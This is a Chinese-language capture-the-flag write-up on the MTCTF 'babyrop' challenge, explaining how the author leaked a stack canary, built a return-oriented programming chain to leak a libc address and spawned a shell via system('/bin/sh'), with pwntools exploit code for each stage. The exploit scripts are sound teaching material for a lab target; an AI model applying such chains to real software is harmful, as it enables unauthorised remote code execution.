行业新闻

mtctf ROP学习笔记

mtctf ROP学习笔记

 

mtctf ROP学习

第一次在比较大型的比赛中完全自主的出了一题,虽然题目不算难但也是个人的一点点突破吧,这题题目叫babyrop,很明显是一个ROP类型的题目,首先分析看程序的逻辑,

main函数的逻辑很简单,首先一个循环从stdin读取字符每次读取一个字符存入buf,然后输入一串字符并和“password”字符串进行对比,最后vuln函数是很明显的栈溢出16字节,但是存在canary栈保护。main中的password对比输入了一个64位的整数赋值给一个指针覆盖了指针的值,直接找到password字符的地址然后转换10进制输入就ok了,

而vuln函数的溢出需要想办法先绕过canary栈保护,由于canary的值在一个进程中是不变的,可以通过main的金丝雀先泄露,for循环由于判断条件是<=24并且i初始为0,所以实际上可以输入25个字符溢出一个字符正好可以覆盖canary的\x00,泄露canary的值,所以直接发送25个字符即可泄露canary。

payload2 = p64(0)#rbp
payload2+= p64(bin.sym.main+1)#retMain

p.sendafter('name?','w'*25)
p.recvuntil('Hello, ')
cannary = b'\x00'+p.recvuntil(', welcome')[25:32]
log.info(str(cannary))
p.sendafter('Please input the passwd to unlock this challenge','4196782\n')
p.sendafter('message',b'h'*24+cannary+payload2)

拿到canary的值后我们就可以开始进行rop了,由于溢出的空间只有16字节而要getshell空间肯定是不够的,vuln函数的栈底离v6只有16字节的距离(int占四个字节char*指针64位4字节),并且v6是我们可控的,我们可以通过popr14 popr15移动到v6的空间。这里有点需要注意,如果进行栈迁移到bss段只有0x1000的空间,在执行printf puts这些函数会因为栈空间太小直接段错误crash。

但是24字节空间进行rop还是有点少,我们可以再调用一次main函数,然后执行完指令后用相同的方式pop移动回来,先通过ROPgadget找到poprdi ret的地址,然后调用mainf构造payload 修改rdi的的值,再通过popr14pop15移动到puts函数的plt,调用puts打印puts的got表获得puts的地址,减去puts的段内偏移获得libc的加载地址。

#retMain
payload = p64(bin.sym.main)#retMain
payload+= p64(bin.plt['puts'])
payload+= p64(bin.sym.main)
payload+= b'\n'

payload2 = p64(0)#rbp
payload2+= p64(0x400910)#popR14R15Ret

p.sendafter('name?',payload)#mainPayload
p.sendafter('Please input the passwd to unlock this challenge','4196782\n')
p.sendafter('message\n',b'h'*24+cannary+payload2)


#Main2
payload = p64(0x400913)#popRdi ret;
payload+= p64(bin.got['puts'])#pop rdi
payload+= p64(0x400910)#popR14popR15ret
payload+= b'\n'

payload2 = p64(0)
payload2+= p64(0x400910)#popR14popR15Ret

p.sendafter('name? \n',payload)#mainPayload
p.sendafter('Please input the passwd to unlock this challenge\n','4196782\n')
p.sendafter('message\n',b'h'*24+cannary+payload2)

此时得到了libc的加载地址事情变得简单很多,我们可以直接通过搜索libc中的’/bin/sh’字符复制给rdi作为参数,然后直接调用system函数就可以getshell了。

#/bin/sh
payload = p64(0x400913)#popRdi ret;
payload+= p64(libc.search(b'/bin/sh').__next__())
payload+= p64(libc.sym.system)
payload+= b'\n'

payload2 = p64(0)
payload2+= p64(0x400910)#popR14popR15Ret
p.send(payload)#mainPayload
p.sendafter('Please input the passwd to unlock this challenge\n','4196782\n')
p.sendafter('message\n',b'h'*24+cannary+payload2)

p.interactive()

到了这里原本按道理是可以getshell了,但是由于用的是ubuntu的libc,实际跑脚本的时候会出现在刚获取完canary第二次调用mian的时候异常退出,这是由于ubuntu版本的libc很多函数使用了movaps指令,这条指令要求rbp 16进制对齐,直接调试发现跳过main前面的push rbp就是对齐的,所以直接在bin.sym.main这里+1跳到下一条指令,具体原理可以参考:在一些64位的glibc的payload调用system函数失败问题 – Ex个人博客 (eonew.cn)

pwn

关闭